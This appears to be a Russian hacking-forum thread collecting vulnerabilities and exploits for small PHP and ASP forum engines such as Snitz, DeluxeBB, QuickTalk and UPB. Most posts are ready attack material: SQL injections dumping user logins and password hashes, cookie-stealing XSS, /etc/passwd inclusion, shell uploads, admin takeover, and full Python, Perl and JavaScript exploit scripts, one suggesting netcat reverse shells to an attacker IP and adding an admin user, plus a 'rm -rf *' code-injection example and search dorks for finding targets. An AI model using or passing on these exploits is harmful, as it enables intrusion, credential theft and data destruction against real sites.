http://site.ru/Files/all_forums.php?file_read_forums=[file]

http://site.ru/Files/write_log.php?file_read_logs=[file]

http://site.ru/Files/statistic.php?file_read_statistic=[file]

http://site.ru/Files/downloads.php?file_read_downl=[file]
http://site.ru/Files/downloads.php?file_add_downloads=[file]

Пассивные XSS:

http://site.ru/Files/buttons.php?forum_ext=1&language=<script>alert();</script>

http://site.ru/Files/downloads.php?td_all=<script>alert();</script>

http://site.ru/Files/downloads.php?table_all=<script>alert();</script>

http://site.ru/Files/faq.php?vars[your_email]=<script>alert();</script>

[B]Заливка шелла:

В админке, добавляем к разрешённым расширениям файлов php, закачиваем шелл, шелл будет доступен по адресу:

http://site.ru/Downloads/shell.php

BlackCats
08.07.2007, 23:35
сразу хочу сказать, что данный обзор по моему мнению не претендует на то чтобы ему присвоили статус "ВАЖНО" т.к. он слишком мал, а рассматриваемый форум не популярен. форум я выбирал не специально, а просто взял нижний из списка. все уязвимости находил сам.
работал только с 1 персией форума, насколько я понял последней.
сам форум на удивление дырявый..постю в надежде, что вдруг кому-нибудь пригодится.

итак:

SowiBB 3 RC 2
================================================== ====================
если использовать в качестве ника
"><script>alert(99)</script>
то у вас будет вылетать алерт:
при логине у вас будет вылетать алерт
================================================== ====================
при попытке отправьть письмо на email такому пользователю будет вылетать алерт:
пример:
/email.php?act=send&page=%22%3E%3Cscript%3Ealert(99)%3C/script%3E

================================================== ====================
при попытке отправьть ПМ такому пользователю будет вылетать алерт:
пример:
/pm-post.php?person=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
================================================== ====================
также можно заполнить поля ICQ MSN AIM YAHOO "><script>alert(99)</script> при просмотре списка пользователей
вылетает 4 алерта.
================================================== ====================
если сознать тему с названием то при её просмотре как "снаружи" так и изнутри
будет вылетать алерт
================================================== ====================
при просмотре stats.php если у вас есть темы или ники в которых присуцтвует "><script>alert(99)</script> будет вылетать алерт.
================================================== ====================
если при отправке ПМ в качестве темы сообщения указать "><script>alert(99)</script>
то при чтении сообщения вылетит алерт.
================================================== ====================
если на страничке добавления аватара в поле Location: написать "><script>alert(99)</script> - то он вылетит алерт
================================================== ====================
ну и кароче как я понял везде где спетится скрипт - он выполняется, почти везде.
================================================== ====================
заливаем шелл:
в админке
Skin Manager
> Image Uploader

расширение php пропускает. шелл будет лежать по адресу
/skins/DEFAULT(если заливали в default)/images/shell.php(если имя шелла shell.php

gemaglabin
09.07.2007, 00:13
Делать нечего,качнул дистрибутив и поставил на локалхост.После пятиминутного изучения сорцов стало ясно что там отстуствует фильтрация вообще

Иньекция в логине , ' or 1=1/* , а также уязвимы сценарии lostpw.php , profile.php , forum.php , viewgroups.php , а также во всех скриптах на любой вкус - UPDATE / INSERT / SELECT xD . Куча xss , вот пару активных


[IM*G]http://" onmouseover="alert(/antichat/);"[/IMG]
[UR*L]http://" onmouseover="alert(/antichat/);"[/URL]


Но и этого мало , смотрим код залива аватара в профиле


if (in_array($_FILES['avatarown']['type'], array('image/gif', 'image/jpeg', 'image/pjpeg', 'image/jpg')))
{
move_uploaded_file($_FILES['avatarown']['tmp_name'], "./uploads/avatar-".$username."-{$_FILES[avatarown][name]}");
}


Гениально - подменяем хттп запрос и указывая php файл для аплоада меняем в хттп заголовке application/octet-stream на например image/gif.Все

Grey
06.09.2007, 18:53
cyberBB v. 0.4

Скачать можно здесь:

http://sourceforge.net/project/platformdownload.php?group_id=170656

-------------------------------------------------------------------

SQL инъкция:

http://localhost/show_topic.php?id=-1+union+select+1,2,3,4,555,6,7/*

Вывод логина и пароля пользователя:

http://localhost/show_topic.php?id=-1+union+select+1,2,3,4,aes_decrypt(aes_encrypt(con cat(username,char(58),password),0x71),0x71),6,7+fr om+users/*

Получаем логин и хеш (мд5) пароля пользователя.

Grey
03.10.2007, 22:46
Pehota Forum 1.05 и Pehota_Forum v1.10b

Скачать можно здесь: http://www.woweb.ru/load/56-1-0-4272

---------------------------------------------------------------------

1. Заливка шелла:

Регимся на форуме с ником blabla.php, вообщем так что бы ник (логин) заканчивался на .php

Предположим shell.php

Теперь заходим под этим логином, после чего идём в профиль выбираем загрузку аватары и заливаем шелл, всё шелл доступен по адресу:

http://site.ru/forum/user/shell.php/avator_shell.php

т.е. имя аватары формируется из avator_ + имя пользователя.

2. Проверялось на версии Pehota_Forum v1.10b - возможность узнать логины и пароли пользователей.

Из-за отсутствия .htaccess в "стандартном комплекте", можно просматривать файлы, файл с паролями:

http://test.ru/data/user.dat

3. Проверялось на версии Pehota_Forum v1.10b - повышение привилегий до админских.

Регимся

В поле Имя вводим login -вообщем тут не важно что
В поле Пароль (ну и в подтверждение пароля) вводим pass,2,3,Admin,
В поле с мылом вводим 123@123.ru - вообщем то что выглядит как нормальный адрес.

Получаем аккаунт: login:pass с админскими правами.

4. Проверялось на версии Pehota_Forum v1.10b - заливка шелла через админку

В админке - Настройки

Либо в поле Тем на страницу в admin.php:Ю либо в поле Тем на главную страницу: вписываем:

10"; system($HTTP_GET_VARS['cmd']); $aaaaa="

Получаем шелл:

http://test.ru/params.php?cmd=[cmd]

Solide Snake
05.10.2007, 19:58
Flashbb <= 1.1.7 - Remote File Inclusion Exploit (http://securityvulns.ru/files/flashbbex.pl)

Grey
05.10.2007, 22:33
1. Tiny PHP Forum v3.61

Скачать можно здесь: http://sourceforge.net/project/showfiles.php?group_id=98590

Пассивные xss:

http://localhost/forum/header.php?siteName=<script>alert(document.cookie);</script>
http://localhost/forum/header.php?siteURL="><script>alert(document.cookie);</script>

Для поиска этого форумного двига вводим: Powered by TinyPHPForum v3.61

Уязвимости для версии 3.60:

http://www.securitylab.ru/vulnerability/243758.php

Активная XSS ("1. Уязвимость существует из-за недостаточной") присутствует и в версии 3.61

--------------------------------------------------------------------
--------------------------------------------------------------------

2. Nexus Forum

Скачать можно здесь: http://sourceforge.net/project/showfiles.php?group_id=112138

Отсутствие .htaccess:

Из-за отсутствия в "комплекте форума" файла .htaccess, есть возможность просматривать пароли, пользователей:

http://localhost/forum/users/Имя пользователя/pass.txt

--------------------------------------------------------------------
--------------------------------------------------------------------

3. mForum

Скачать можно здесь: http://sourceforge.net/project/showfiles.php?group_id=191244

SQL инъекция:

В скрипте register.php в запрос

$query_username = "INSERT INTO $table_users(username,password,email,date,ip) VALUES('$_POST[username]','$_POST[password]','$_POST[email]','$date','$ip')";

можно внедрить sql инъекцию:

Делаем следующее:

Регимся на форуме (Register), в поле Username: вставляем 1','','',version(),'')/* остальные поля заполняем произвольно, но соблюдая требования (пароль > 4 символов, мыло по виду user@site.ru)
После чего переходим к просмотру пользователей (Members list), там открываем профиль нашего пользователя (а его имя будет 1 (т.к. -->1<--','','',version(),'')/*)) и видим в поле "Registered:" вывод версии БД.
К сожалению из-за ограничения на длину имени пользователя ввести более длинный запрос не получится.

Для поиска этого форумного двига вводим: Powered by mForum

Solide Snake
28.10.2007, 01:48
Уязвимость в FUDForum

URL производителя: fudforum.org (http://www.fudforum.org/)

1. Уязвимость в admbrowse.php позволяет просматривать произвольные файлы:

admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid]

2. уязвимость в tmp_view.php позволяет просматривать произвольные файлы:

tmp_view.php?file=/etc/passwd

Solide Snake
16.11.2007, 22:26
QuickTalk forum 1.3 (lang) Local File Inclusion Vulnerabilities

#download: http://www.qt-cute.org/download/qtf13.zip

#vulncode:

$strLang = $_GET["lang"];
include("language/$strLang/qtf_lang_reg.inc");

#exploits:

http://www.site.com/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00
http://www.site.com/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00
http://www.site.com/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00

(c) milw0rm.com (http://www.milw0rm.com/exploits/4115)

Solide Snake
19.11.2007, 22:48
IceBB 1.0-rc6 Remote Database Authentication Details Exploit (http://www.milw0rm.com/exploits/4634)

Solide Snake
26.11.2007, 16:58
Движок: DeluxeBB
Версия: <= 1.9

#!/usr/bin/python
#-*- coding: iso-8859-15 -*-
'''
_ __ _____ _____ _ __
| '_ \ / _ \ \/ / _ \ '_ \
| | | | __/> < __/ | | |
|_| |_|\___/_/\_\___|_| |_|

------------------------------------------------------------------------------------------------
§ DeluxeBB 0day Remote Change Admin's credentials §
------------------------------------------------------------------------------------------------
nexen
------------------------------------------------------------------------------------------------
PoC / Bug Explanation:
When you update your profile,
DeluxeBB execute a vulnerable query:

$db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE (username='$membercookie')");

So, editing cookie "membercookie" you can change remote user's email.

Enjoy ;)
------------------------------------------------------------------------------------------------

'''


import httplib, urllib, sys, md5
from random import randint
print "\n################################################ ########################################"
print " DeluxeBB <= 1.09 Remote Admin's/User's Email Change "
print " "
print " Vulnerability Discovered By Nexen "
print " Greetz to The:Paradox that Coded the Exploit. "
print " "
print " Usage: "
print " %s [Target] [VictimNick] [Path] [YourEmail] [AdditionalFlags] " % (sys.argv[0])
print " "
print " Additional Flags: "
print " -id34 -passMypassword -port80 "
print " "
print " Example: "
print " python %s 127.0.0.1 admin /DeluxeBB/ me@it.com -port81 " % (sys.argv[0])
print " "
print "################################################## ######################################\n"
if len(sys.argv)<=4: sys.exit()
else: print "[.]Exploit Starting."

target = sys.argv[1]
admin_nick = sys.argv[2]
path = sys.argv[3]
real_email = sys.argv[4]

botpass = "the-new-administrator"
rand = randint(1, 99999)
dn1 = 0
dn2 = 0
dn3 = 0

try:
for line in sys.argv[:]:
if line.find('-pass') != -1 and dn1 == 0:
upass = line.split('-pass')[1]
dn1 = 1
elif line.find('-pass') == -1 and dn1 == 0:
upass = ""
if line.find('-id') != -1 and dn2 == 0:
userid = line.split('-id')[1]
dn2 = 1
elif line.find('-id') == -1 and dn2 == 0:
userid = ""

if line.find('-port') != -1 and dn3 == 0:
port = line.split('-port')[1]
dn3 = 1
elif line.find('-port') == -1 and dn3 == 0:
port = "80"
except:
sys.exit("[-]Some error in Additional Flag.")
if upass=="" and userid != "" or userid == "" and upass != "":
print "[-]Bad Additional flags -id -pass given, ignoring them."
upass=""
userid=""
################################################## ##########################################Trying to connect.
try:
conn = httplib.HTTPConnection(target,port)
conn.request("GET", "")
except: sys.exit("[-]Cannot connect. Check Target.")
################################################## ##########################################Register ing a new user if id or upass not defined
try:
conn = httplib.HTTPConnection(target,port)
if upass == "" or userid == "":
conn.request("POST", path + "misc.php?sub=register", urllib.urlencode({'submit': 'Register','name': 'th331337.%d' % (rand) , 'pass': botpass,'pass2': botpass,'email': 'root%d@yoursystemgotpowned.it' % (rand) }), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded"})
response = conn.getresponse()
cookies = response.getheader('set-cookie').split(";")
#print "\n\nth331337.%d \n\nthe-new-administrator" % (rand)
print "[.]Registering a new user. -->",response.status, response.reason
conn.close()
################################################## ##########################################Getting memberid in Cookies
for line in cookies[:]:
if line.find('memberid') != -1:
mid = line.split('memberid=')[1]
################################################## ##########################################Isset like starts
try: mid
except NameError: sys.exit("[-]Can't Get \"memberid\". Failed. Something has gone wrong. If you have not done yet, you may have to register manually and use flags -id -pass")
except AttributeError:
sys.exit("[-]AttributeError Check your Target/path.")
################################################## ##########################################Doing some Md5
if upass=="" or userid=="":
hash = md5.new()
hash.update(botpass)
passmd5 = hash.hexdigest()
else:
hash = md5.new()
hash.update(upass)
passmd5 = hash.hexdigest()
mid = userid
################################################## ##########################################Updating "victim" email in Profile
conn = httplib.HTTPConnection(target,port)
conn.request("POST", path+"cp.php?sub=settings", urllib.urlencode({'submit': 'Update','xemail': real_email}), {"Accept": "text/plain","Cookie": "memberid="+mid+"; membercookie="+admin_nick+";memberpw="+passmd5+";" ,"Content-type": "application/x-www-form-urlencoded"})
response = conn.getresponse()
print "[.]Changing \""+admin_nick+"\" Email With \"" + real_email + "\" -->",response.status, response.reason
conn.close()
print "[+]All Done! Email changed!!!\n\n You can reset \""+admin_nick+"\" password here -> "+target+path+"misc.php?sub=lostpw :D\n\n Have Fun =)\n"

# milw0rm.com [2007-11-26]

Basurman
05.01.2008, 02:21
SNITZ FORUMS 2000

Сайт: http://forum.snitz.com/
Описание: Форум малораспространенный, но все же иногда приходится с ним сталкиваться.

Даты выхода версий: http://sourceforge.net/project/showfiles.php?group_id=8812&package_id=8895

P.S. google.ru: Результаты 1 - 10 из примерно 2 270 000 для "Powered by Snitz"


Snitz2000 3.1 SR4
16 февраля 2007

SQL инъекция в файле pop_profile.asp

ссылка: http://www.milw0rm.com/exploits/3321

Snitz2000 (3.3 - 3.3.03)
20 апреля 2002

SQL инъекция в members.asp

/members.asp?mode=search&M_NAME=XXXX%25')%20UNION%20SELECT%20MEMBER_ID,%20M _STATUS,%20M_NAME%20%2B%20'/'%20%2B%20M_EMAIL%20%2B%20'/',%20M_LEVEL,%20M_EMAIL,%20M_COUNTRY,%20M_HOMEPAGE ,%20M_ICQ,%20M_YAHOO,%20M_AIM,%20M_TITLE,%20M_POST S,%20M_LASTPOSTDATE,%20M_LASTHEREDATE,%20M_DATE,%2 0M_STATE%20FROM%20FORUM_MEMBERS%20WHERE%20(M_NAME% 20LIKE%20'&initial=1&method=
Snitz2000 3.3.03
13 мая 2003

SQL инъекция в register.asp
Не фильтруется поле email. Возможен запуск xp_cmdshell (пользователь "sa")

Сплоит:
#!/usr/bin/perl

use Socket;

print "\nRemote command execution against Snitz Forums 3.3.03 (and probably others).\n";
print "You accept full responsibility for your actions by using this script.\n";
print "INTERNAL USE ONLY!! DO NOT DISTRIBUTE!!\n";

print "\nWeb server? [www.enterthegame.com]: ";
my $webserver = <STDIN>;
chomp $webserver;
if( $webserver eq "" )
{
$webserver = "www.enterthegame.com";
}

print "\nWeb server port? [80]: ";
my $port = <STDIN>;
chomp $port;
if( $port eq "" )
{
$port = 80;
}

print "\nAbsolute path to \"register.asp\"? [/forum/register.asp]: ";
my $path = <STDIN>;
chomp $path;
if( $path eq "" )
{
$path = "/forum/register.asp";
}

print "\nCommand to execute non-interactively\n";
print " Example commands: tftp -i Your.IP.Here GET nc.exe\n";
print " nc.exe -e cmd.exe Your.IP.Here YourNetcatListeningPortHere\n";
print " or: net user h4x0r /add | net localgroup Administrators h4x0r /add\n";
print "Your command: ";
my $command = <STDIN>;
chomp $command;
$command =~ s/\ /\%20/g;

if( open_TCP( FILEHANDLE, $webserver, 80 ) == undef )
{
print "Error connecting to $webserver\n";
exit( 0 );
}
else
{
my $data1 = $path . "\?mode\=DoIt";
my $data2 = "Email\=\'\%20exec\%20master..xp_cmdshell\%20\'" . $command. "\'\%20--\&Name\=snitz";
my $length = length( $data2 );

print FILEHANDLE "POST $data1 HTTP/1.1\n";
if( $port == 80 )
{
print FILEHANDLE "Host: $webserver\n";
}
else
{
print FILEHANDLE "Host: $webserver:$port\n";
}
print FILEHANDLE "Accept: */*\n";
print FILEHANDLE "User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\n";
print FILEHANDLE "Keep-Alive: 300\n";
print FILEHANDLE "Referer: http:\/\/$webserver$path\?mode\=Register\n";
print FILEHANDLE "Content-Type: application/x-www-form-urlencoded\n";
print FILEHANDLE "Content-Length: $length\n\n";
print FILEHANDLE "$data2";

print "\nSQL injection command sent. If you are waiting for a shell on your listening\n";
print "netcat, hit \"enter\" a couple of times to be safe.\n\n";

close( FILEHANDLE );
}

sub open_TCP
{
my( $FS, $dest, $port ) = @_;

my $proto = getprotobyname( 'tcp' );
socket( $FS, PF_INET, SOCK_STREAM, $proto );
my $sin = sockaddr_in( $port, inet_aton( $dest ));
connect( $FS, $sin ) || return undef;

my $old_fh = select( $FS );
$| = 1;
select( $old_fh );
return 1;
}

Snitz2000 3.4 (?)
18 апреля 2003

XSS. Обходятся существующие фильтры символом табуляции (0x09)

Например:
jav asc ript:alert%28document.cookie%29
Snitz2000 3.4.03

1). Сброс пароля у любого пользователя
21 июня 2003

Запрашиваем "забытый пароль". Сохраняем страницу на HDD. Меняем ID пользователя в блокноте (например) на любой существующий. Жмем кнопку. Все

2). XSS
21 июня 2003

http://path/search.asp?Search="><script>alert()</script>
Snitz2000 3.4.04

1). XSS в файле register.asp
16 июня 2004

При регистрации нового пользователя/ редактировании аккаунта можно ввести в поле E-mail address
p@p" onMouseOver="alert(document.cookie);
2). Http response splitting
16 сентября 2004

Сплоит:
POST /down.asp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 134

location=/foo?%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%2014%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>Preved</html>
Snitz2000 3.4.05

1). SQL инъекция в файле inc_header.asp
11 июня 2006

бажный кусок кода:
if strGroupCategories = "1" then
if Request.QueryString("Group") = "" then
if Request.Cookies(strCookieURL & "GROUP") = "" Then
Group = 2
else
Group = Request.Cookies(strCookieURL & "GROUP")
end if
else
Group = cLng(Request.QueryString("Group"))
end if
'set default
Session(strCookieURL & "GROUP_ICON") = "icon_group_categories.gif"
Session(strCookieURL & "GROUP_IMAGE") = strTitleImage
'Forum_SQL - Group exists ?
strSql = "SELECT GROUP_ID, GROUP_NAME, GROUP_ICON, GROUP_IMAGE "
strSql = strSql & " FROM " & strTablePrefix & "GROUP_NAMES "
strSql = strSql & " WHERE GROUP_ID = " & Group
set rs2 = my_Conn.Execute (strSql)
Сплоита нет

2). XSS в файле post.asp
2 ноября 2005

пример:
http://[host]/snitz/post.asp?method=Topic&FORUM_ID=1&CAT_ID=1&type=[code]
Snitz2000 3.4.06

1). SQL инъекция в active.asp.
5 декабря 2007

Пользователь может получить привилегии администратора.

HTML-сплоит для поднятия прав (необходимо зарегистрироваться на форуме, зайти на него, исправить [VICTIM URL] на работающий адрес, ну и запустить его):
<form action="http://[VICTIM URL]/active.asp" method="post">
Query: <input type="text" name="BuildTime" value="',M_Level='3" /><br />
DefaultValues: <input type="text" name="AllRead" value="Y" /><br />
Submit: <input type="submit" name="submit" value="Submit" /><br />
</form>
2). XSS
14 сентября 2006

http://target.com/[path]/forum.asp?FORUM_ID=1&ARCHIVE=true&sortfield=lastpost&sortorder="><script>function%20xssbaslat(){alert("Xss%20Here");}</script><body%20onload="xssbaslat()">
3). возможная XSS в файле pop_profile.asp.
7 марта 2007

Доказательств нет

ссылка: http://securityvulns.ru/CVE-2007-1374.html

Snitz2000 3.4 Avatar MOD 1.3
18 мая 2006

Загрузка произвольных файлов (шеллов и тд) в обход ограничений, указанных в моде (jpg, jpeg, gif, png), используюя POISON NULL BYTE (то есть %00)

________________________________________________
3.4.06 - последняя версия
При обнаружении ошибок и неточностей, а также если есть, чем дополнить, - прошу в ПМ (флудить тут не надо) пост восстановлен

Solide Snake
05.01.2008, 15:53
MyPHP Forum Vulnerability

Exploits/Shellcode

MyPHP Forum <= 3.0 (Final) Multiple SQL Injection Vulnerabilities (http://milw0rm.com/exploits/4822)
MyPHP Forum <= 3.0 (Final) Remote SQL Injection Vulnerability (http://milw0rm.com/exploits/4831)

SQL-инъекция во многих сценариях в MyPHP 1.0 форуме
Описание:
Обнаруженная уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды на системе.

Exploit:

/member.php?action=viewpro&member=nonexist' UNION SELECT uid, username, password,
status, email, website, aim, msn, location, sig, regdate, posts,
password as yahoo FROM nb_member WHERE uid='1

iddqd
23.01.2008, 02:01
DeluxeBB 1.1 XSS Vulnerability

PoC:


http://www.site.com/path/templates/default/admincp/attachments_header.php?lang_li
stofmatches=<script>alert("iddqd")</script>

iddqd
01.02.2008, 15:14
Vendor: http://php.arsivimiz.com/indir.php?id=335

Remote File Include

Vulnerable: tinyBB v0.2

PoC:


http://victim.Com/ScriptPath/footers.php?tinybb_footers=[shell]

Solide Snake
13.03.2008, 12:09
Уязвимости QuickTalk Forum

URL производителя: http://www.qt-cute.org/

QuickTalk Forum <= 1.6 Blind SQL Injection Exploit

<html>
<head>
<title>QuickTalk Forum <= 1.6 Blind SQL Injection Exploit</title>
<script language="Javascript" type="text/javascript">
/*
-----------------------------------------------------------------------------------------------
- QuickTalk Forum Blind SQL Injection Exploit (qtf_ind_search_ov.php) -
- Info ---------------------------------------------------------------------------------------
- Author: t0pP8uZz & xprog -----------------------------------------------------------
- Exploit Coded By t0pP8uZz ---------------------------------------------------------
- Site: h4ck-y0u.org / milw0rm.com ------------------------------------------------
----------------------------------------------------------------------------------------------
- Passwords ARE IN MD5 ----------------------------------------------------
- Peace -----------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------
*/

var site, uid, res = "";

function Start() {

site = document.getElementById("site").value;
uid = document.getElementById("pid").value;
document.getElementById("output").value = "Exploiting, Please Wait..";

Main(1, 48);
}

function Main(substr, num) {

var xmlhttp = false;
var url = site+"/qtf_ind_search_ov.php?a=user&id=1 and ASCII(SUBSTRING((SELECT pwd FROM qtiuser WHERE id="+uid+" LIMIT 0,1),"+substr+",1))="+num+"/*";

try {
xmlhttp = new XMLHttpRequest();
} catch(e) { alert("Unsupported Browser! Run Exploit In Mozilla Firefox!"); }

if(xmlhttp) {

netscape.security.PrivilegeManager.enablePrivilege ("UniversalBrowserRead");
xmlhttp.onreadystatechange = function() {

if(xmlhttp.readyState == 4) {

var content = xmlhttp.responseText;

var ele = document.getElementById("output");
if(!content.match(/0 Found/i)) {
res += String.fromCharCode(num);
ele.value = res;
num = 48;
substr++;
}
else {
if(num == 59) { num = 96; }
else { num++; }
}

if(res.length >= 32) { alert("Exploitation Successfull!. Admin MD5 Hash: "+res); return true; }
Main(substr, num)
}
};
xmlhttp.open("GET", url, true);
xmlhttp.send(null);
}
}

</script>
<style type="text/css">
<!--
.style1{color: #CC0000}
.style2 { color: #000000; font-size: 12px;}
.style3 {color: #FF0000; font-weight: bold; font-size: 12px; }
.style4 {color: #FF0000; font-size: 10px;}
-->
</style>
</head>
<body>
<p class="style1">- QuickTalk Forum <= 1.6 Blind SQL Injection Exploit -</p>
<p class="style2">Site: <input type="text" id="site" /> (URL to QuickTalk Forum site ie: http://www.site.com/quicktalkforum)</p>
<p class="style2">User: <input type="text" id="pid" /> (UserID of the user you want the MD5 hash too.)</p>
<p class="style2"><input type="button" onclick="Start();" id="button" value="Exploit" /></p>
<p class="style3">Output (MD5 Hash): <input type="text" id="output" size="100" /></p> (Do not touch untill exploit says its done)
<p class="style2">Notes: QuickTalk Forum uses the MD5 algorithms to encrypt passwords</p>
<p class="style4">Coded By t0pP8uZz - h4ck-y0u.org</p>
</body>
</html>


Инклюдинг локальных файлов в QuickTalk forum

Уязвимость позволяет удаленному пользователю получить доступ к важным данным на системе.

http://[host]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00
http://[host]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00
http://[host]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00

.Begemot.
16.06.2008, 11:41
Forum Pay Per Post Exchange <= 2.0 SQL Injection Vulnerabilitys

- +================================================= ===============================+ -
- + Forum Pay Per Post Exchange <= 2.0 SQL Injection Vulnerabilitys + -
- +================================================= ===============================+ -

By : Stack

http://alstrasoft.com/forum-pay-per-post-exchange.htm
Cost (single license): $175 (with 1 year updates)
Language: PHP
Platform: Unix, Win NT
Release: Dec 23, 2007
Current Version: 2.0
Last Update: Mar 10, 2008

exploit :

http://site.co.il/index.php?menu=forum_catview&catid=-1/**/UNION/**/SELECT/**/1,2,3,database(),5,version(),7/*

# milw0rm.com [2008-06-15]

milw0rm.com [2008-06-15]

Sharingan
11.07.2008, 14:29
www.myupb.com

UBP Version <=1.9.6

Заводим себе админа
При установке форума заводится акаунт admin с уровнем доступа admin, но при повторной регистрации акаунта admin (но уже через register.php) скрипт не ругается и регистрирует его, но с правами member. В больших форумах (с большим числом пользователей) вероятна атака спуфинга (запрос паролей и другой информации от пользователей под видом администратора).

Bесь список юзеров, пароли ( к сожалению зашифрованные) (http://forum.antichat.ru/thread4696-UPB.html) почту юзера, дату реги, итп.
http://site.com/path_to_forum/db/users.dat

Отправка письма: от user к user2
http://site.com/path_to_file/send.
php?power_env=lwbteam&user_env=[user]&pass_env=lwbteam&id_env=[user2]&id=[user2]&message=LwBSecurityTeam

Возможность Залогинится под Админом или любым другим юзером
http://site.com/forum/admin_members.php?power_env=123&user_env=Admin&pass_env=123&id_env=Admin&lastvisit=0

Выполнение Кода
UPB протоколирует некоторую информацию о посетителях [такую как REMOTE_ADDR и HTTP_USER_AGENT ] в текстовый файл в директории db, который называется iplog. Затем в панели администратора, администратор форума может вызвать admin_iplog.php, который просто подключает iplog. Например:

e@some_host$ telnet hostname 80
Connected to hostname at 80
GET /board/index.php HTTP/1.0
User-Agent: <? phpinfo(); ?>

когда администратор вызовет admin_iplog.php, ваш код php будет выполнен.
Пример:
1. <? system( "echo \'hacked\' > ../index.html" ); ?>
дефейсит главную страницу форума.
2. создаст tcsh.php с правами httpd в корневой директории веб-сайта. затем вам просто нужно будет зайти на http://hostname/tcsh.php?cmd=rm -rf *
после внедрения кода через поле User-Agent вам нужно подождать пока администратор посмотрит admin_iplog.php.

XSS

http://[target]/upb/login.php?ref=%27%3E%3Cscrip t%3Ealert(document.cookie)%3C/script%3E

http://[target]/upb/viewtopic.php?id=%27%3E%3C script%3Ealert(document.cookie)%3C/script%3E

http://[target]/upb/viewtopic.php?id=1&t_id=1&page= %27%3E%3Cscript%3Ealert( document.cookie)%3C/script%3E

http://[target]/upb/profile.php?action=get&id=%27 %3E%3Cscript%3Ealert(document.cookie) %3C/script%3E

http://[target]/upb/newpost.php?id= 1&t=1&t_id= %27%3E%3Cscript%3Ealert(document.cookie) %3C/script%3E

http://[target]/upb/newpost.php?id=%27%3E%3C script%3Ealert(document.cookie)%3C/script%3E

http://[ta rget]/upb/email.php?id=%27%3E%3C script%3Ealert(document.cookies)%3C/script%3E

http://[target]/upb/icq.php?action=get&id=%27%3E%3C script%3Ealert(document.cookie)%3C/scr ipt%3E

http://[target]/upb/aol.php?action=get&id=%27%3E%3C script%3Ealert(document.cookie)%3C/script%3E

http://[target]/upb/getpass.php?ref=%27%3E%3Cscript %3Ealert(d ocument.cookie)%3C/script%3E

http://[target]/upb/search.php?step=3&sText= %27%3E%3Cscript%3Ealert(document.cookie) %3C/script%3E


Раскрытые пути

http://site.com/web/forum/viewforum.php?'id'=4
http://site.com/web/forum/viewtopic.php?id=3'


UBP Version 2.0

Уязвимость позволяет злоумышленнику выполнить произвольный сценарий на целевой системе, уязвимость существует из-за ошибки в обработке входных данных в параметре «_CONFIG[skin_dir]» сценарием header_simple.php. Атакующий может выполнить произвольный сценарий с привилегиями запущенного Web сервера.

Пример:
http://vul_site/path/includes/header_simple.php?_CONFIG[skin_dir]=shell

UBP 2.0b1

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "option" сценарием chat/login.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Пример:

http://[target]/[path]/chat/login.php?option=chat&username=(code)

~!DoK_tOR!~
09.09.2008, 15:54
Форум: Advanced Electron Forum(AEF)
Версия: 1.0.6

Активные XSS

1 активная

Заходим в профиль уявимое поле WWW: вводим "><script>alert('xss')</script>

2 активная

Создаём тему в названии темы вводим "><script>alert('xss')</script>

3 активная

В подписи вводим:

[UR*L]http://" onmouseover="alert('xss');"[/URL]
[IM*G]http://" onmouseover="alert('xss');"[/IMG]

Поиск: Powered By AEF 1.0.6 © 2008 Electron Inc.

Скачать форум: http://www.anelectron.com/download.php

(c) ~!Dok_tOR!~


UPDATE

Advanced Electron Forum <= 1.0.6 Remote Code Execution

Сценарий /main/functions/bbc_functions.php

Уязвимый код:

//Email Links
if($globals['bbc_email']){

$text = preg_replace(
array("/\(.*?)\[\/email\]/ies",
"/\[email\](.*?)\[\/email\]/ies"),
array('check_email("$1", "$2")',
'check_email("$1", "$1")'), $text);

}


Уязвимость существует из-за небезопасного вызова функции "preg_replace()" с параметром "e". Удаленный пользователь может с помощью специально сформированного тега выполнить произвольный PHP код на целевой системе с привилегиям Web сервера.

Пример:

[*email]{${phpinfo()}} ((.*?)\)

* - убрать конечно.

Решение: Установите последнюю версию 1.0.7 с сайта производителя.

Original link (http://milw0rm.com/exploits/6499)

~!DoK_tOR!~
01.10.2008, 17:00
Форум: Discussion Forums 2k
Версия: 3.3.T
Офф.сайт: http://developer.berlios.de/projects/df2k/

SQL Injection

http://localhost/[installdir]/misc/RSS1.php?CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email ),2,3,4,5,6,7+from+DF2k_Members/*

http://localhost/[installdir]/misc/RSS2.php?id=1&CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email ),2,user(),4,5,6,7,8,9,10+from+DF2k_Members/*

http://localhost/[installdir]/misc/RSS5.php?SubID=-1)+union+select+concat_ws(0x3a,Name,Password,Email ),2,3,4,5+from+DF2k_Members/*

XSS Passive

http://localhost/[installdir]/Category.php?id="><script>alert('xss')</script>&SubID=0

http://localhost/[installdir]/Messenger.php?act=Create&Sendto="><script>alert('xss')</script>

(c) ~!Dok_tOR!~

Grey
04.10.2008, 21:34
AEF <= 1.0.7 Активные XSS

Дорк: Powered By AEF 1.0.

Уязвимы сразу несколько тегов, т.к. проверка там везде однинаковая.
Поразительно тупую защиту от XSS:

function check_url($href, $name){

$href = preg_replace("/javascript:/i", "javascript-aef: ", $href);

return '<a href="'.$href.'" target="_blank">'.$name.'</a>';

}

обойти проще некуда - достаточно перекодировать скрипт:

